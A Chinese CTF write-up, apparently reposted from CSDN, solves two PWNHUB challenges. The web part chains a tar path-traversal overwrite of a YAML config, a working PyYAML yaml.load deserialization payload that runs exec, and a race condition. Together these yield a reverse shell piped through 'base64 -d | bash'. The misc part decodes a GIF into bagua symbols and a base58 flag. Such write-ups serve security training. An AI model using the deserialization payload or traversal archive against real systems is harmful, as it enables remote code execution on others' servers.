PWNHUB 一场新鲜赛事速达【六月内部赛】 web - login game + Misc - 伏羲八卦

2023-10-29

PWNHUB 一场新鲜赛事速达【六月内部赛】 web - login game + Misc - 伏羲八卦

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!

web - login game

给了源码,大概就是login登陆,upload上传,上传同时有解压

extractFile函数

def extractFile(filepath, type):

    extractdir = filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)

    if type == 'tar':
        tf = tarfile.TarFile(filepath)
        tf.extractall(extractdir)	#extractall解压
        return tf.getnames()

    if type == 'zip':
        zf = zipfile.ZipFile(filepath, 'r')
        zf.extractall(extractdir)
        return zf.namelist()

tarfile库的extractall或extract方法存在目录穿越漏洞,可以进行文件覆盖

再看login路由

@app.route('/login', methods=['GET', 'POST'])
def login():
    with open('config/userConfig.yaml', 'w') as f:
        data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
        f.write(yaml.dump(data))

    if request.method == 'GET':
        return render_template('login.html')

    if request.method == 'POST':
        username = request.form.get('username')
        if username and username == "Admin":
            with open('config/userConfig.yaml', 'rb') as f:
                userConfig = yaml.load(f.read())	#PyYAML有个反序列化漏洞,这里是利用点
                if userConfig['host'] == request.remote_addr:
                    session['user'] = userConfig['user']
                    return render_template('admin.html', username=userConfig['user'], message=userConfig['info'])
                else:
                    return "<script>alert('Can only login locally');history.back(-1);</script>"
        elif username:
            session['user'] = username
            return redirect('/')

如果登陆的用户名为Admin,则读取config/userConfig.yaml文件,yaml.load转换为python数据类型

yaml.load详情可以看看官方wiki PyYAML yaml.load(input) Deprecation ·yaml/pyyaml Wiki (github.com),本题的环境为PyYAML==5.3

在PyYAML 5.1 +之前,该函数可以很容易地被利用来调用任何Python函数。这意味着它可以使用 调用任何系统命令。
yaml.load反序列化漏洞原理见浅谈PyYAML反序列化漏洞 - 先知社区 (aliyun.com)

题目中是未写loader参数的,我用的这个师傅的poc PyYAML反序列化防御和ByPass - FreeBuf网络安全行业门户

import yaml

payload = """
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "print('漏洞存在')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
"""
yaml.load(payload)

回显:
->漏洞存在

但是要注意,login路由中会重写userConfig.yaml,可以用条件竞争绕过

with open('config/userConfig.yaml', 'w') as f:
    data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
    f.write(yaml.dump(data))

最终思路就是,tar包解压覆盖userConfig.yaml,yaml.load反序列化rce

  1. 创建tar包
 tar cPvf caiao.tar ../../../config/userConfig.yaml

userConfig.yaml

- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').popen('echo [反弹shell] | base64 -d | bash').read()"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec

2.条件竞争
成功的话返回值500
请添加图片描述
反弹shell得到flag
请添加图片描述

Misc - 伏羲八卦

赛后看师傅wp复现的,我真的很不会处理二进制数据……这次也没想出来

给了个gif,python将其分割为png Python 实现分离GIF图片,-pillow_好逸爱劳的博客-CSDN博客

#gif按帧数分割
from PIL import Image
import os

gilFileName = 'gif.gif'        # 将准备好的gif 打开
im = Image.open(gilFileName)
pngDir = gilFileName[:-4]        # 获取 .gif 前面的字符,也就是名字

if not os.path.exists(pngDir):
        '''如果没有重名的文件夹,就生成这个文件夹来存放图片'''
        os.mkdir(pngDir)         

try:      
    while True:     
        current = im.tell()       # 获取img对象的 帧图片
        im.save(pngDir + '\\' + str(current) + '.png')      # 保存
        im.seek(current + 1)     # seek的作用就相当于 装饰器的 next,代表下一个
        # current 代表帧图片,+1 就是下一张

except EOFError:
    pass

请添加图片描述

然后根据png的大小,转换为对应伏羲八卦的符号

#按图片大小提取内容
import os
dict = { 1715 : "☰", 2099 : "☷",2062 : "☱", 2059 : "☲", 2392 : "☳", 1773 : "☴", 1863: "☵", 1856 :"☶"}
for s in range(342):
    #print(os.path.getsize('./giff/'+str(s)+'.png'))
    print(dict[os.path.getsize('./gif/'+str(s)+'.png')],end='')

# ☱☳☳☰☷☰☱☳☵☱☳☳☰☶☱☰☶☱☰☵☱☱☳☳☰☶☱☱☴☱☱☳☵☱☳☳☰☶☲☰☶☳☰☵☱☱☳☳☱☳☲☱☵☵☱☷☰☱☵☰☱☳☲☰☶☳☱☶☴☱☰☵☰☶☲☱☳☲☱☴☱☱☶☲☱☵☰☱☴☶☱☴☲☱☰☲☱☴☳☱☱☵☱☰☳☰☶☱☰☶☵☱☲☴☰☶☳☱☲☵☱☶☴☱☴☲☱☲☵☱☰☳☱☳☰☱☱☶☱☲☷☱☲☲☱☱☲☱☶☴☱☰☱☱☰☴☱☰☶☱☶☲☱☳☲☱☲☳☰☶☱☱☶☷☱☴☲☱☰☷☱☰☶☱☴☵☱☰☲☱☰☷☰☶☲☱☰☶☱☵☰☱☰☲☱☲☲☱☴☷☱☵☱☱☶☱☰☶☳☱☴☷☰☶☵☱☴☲☱☰☷☰☶☵☱☵☶☱☱☴☱☲☷☰☶☰☱☷☰☱☴☳☰☶☲☱☵☳☱☱☰☱☷☱☱☵☷☱☱☶☱☶☱☱☵☱☱☲☴☱☳☰☱☴☳☱☵☵☱☵☱☱☳☵☱☳☳☰☶☲☱☴☴☱☳☵☱☳☳☰☶☳☱☴☱☰☵☱☱☳☳☰☶☴☰☶☵☱☳☵☱☳☳☰☶☵☰☶☱☰☵☱

将八卦符号转换为八进制数 Python八卦符编码 base8-bagua-py_孤冷的刺猬的博客-CSDN博客_python 八卦

符号 卦名 拼音 8进制数
qián 0
duì 1
2
zhèn 3
xùn 4
kǎn 5
gèn 6
kūn 7

补一个六十四卦请添加图片描述

s='☱☳☳☰☷☰☱☳☵☱☳☳☰☶☱☰☶☱☰☵☱☱☳☳☰☶☱☱☴☱☱☳☵☱☳☳☰☶☲☰☶☳☰☵☱☱☳☳☱☳☲☱☵☵☱☷☰☱☵☰☱☳☲☰☶☳☱☶☴☱☰☵☰☶☲☱☳☲☱☴☱☱☶☲☱☵☰☱☴☶☱☴☲☱☰☲☱☴☳☱☱☵☱☰☳☰☶☱☰☶☵☱☲☴☰☶☳☱☲☵☱☶☴☱☴☲☱☲☵☱☰☳☱☳☰☱☱☶☱☲☷☱☲☲☱☱☲☱☶☴☱☰☱☱☰☴☱☰☶☱☶☲☱☳☲☱☲☳☰☶☱☱☶☷☱☴☲☱☰☷☱☰☶☱☴☵☱☰☲☱☰☷☰☶☲☱☰☶☱☵☰☱☰☲☱☲☲☱☴☷☱☵☱☱☶☱☰☶☳☱☴☷☰☶☵☱☴☲☱☰☷☰☶☵☱☵☶☱☱☴☱☲☷☰☶☰☱☷☰☱☴☳☰☶☲☱☵☳☱☱☰☱☷☱☱☵☷☱☱☶☱☶☱☱☵☱☱☲☴☱☳☰☱☴☳☱☵☵☱☵☱☱☳☵☱☳☳☰☶☲☱☴☴☱☳☵☱☳☳☰☶☳☱☴☱☰☵☱☱☳☳☰☶☴☰☶☵☱☳☵☱☳☳☰☶☵☰☶☱☰☵☱'
#dic={'☷': '000', '☶': '001',  '☵': '010', '☴': '011', '☳': '100',  '☲': '101',  '☱': '110',  '☰': '111'}
#dic={'☷': '0', '☶': '1',  '☵': '2', '☴': '3', '☳': '4',  '☲': '5',  '☱': '6',  '☰': '7'}
#呜呜呜上面两个dic是六十四卦的,都不对的,和八卦是反转过来的,我也不知道为什么
dic={'☰': '0', '☱': '1',  '☲': '2', '☳': '3', '☴': '4',  '☵': '5',  '☶': '6',  '☷': '7'}
li=[]
k=0
for i in range(len(s)):
    if k ==1:
        k=0
        continue
    try:
        li.append(dic[s[i]])
    except:
        t=''
        t=t+s[i]+s[i+1]
        li.append(dic[t])
        k=1
ss=''.join(li)
print(ss)

#八进制 三个一组,转换为二进制正好7位,假装最前面有零,正好符合ascii可见字符的范围
str1 = re.findall(r'\w{3}', ss)
for i in str1:
    print(chr(int(i,8)),end='')
#[8][11)[1a][23)[ZmxhZ3tE2ZarhfbBcMC15T3UtbUCXNWRJtADFrZS1wbGFeBG2FhBRgiq3g5bG5nLW0xc2kHyoNqiTXcmi][2d][3a)[45][51)
sss = 'ZmxhZ3tE2ZarhfbBcMC15T3UtbUCXNWRJtADFrZS1wbGFeBG2FhBRgiq3g5bG5nLW0xc2kHyoNqiTXcmi'
print(sss[0x8:0x11]+sss[0x1a:0x23]+sss[0x2d:0x3a]+sss[0x45:0x51])

请添加图片描述

2ZarhfbBcUCXNWRJtAeBG2FhBRgiq3gkHyoNqiTXcmi

base58得到flag{D0-yOu-l1ke-playlng-m1sc?}
请添加图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

PWNHUB 一场新鲜赛事速达【六月内部赛】 web - login game + Misc - 伏羲八卦 的相关文章

随机推荐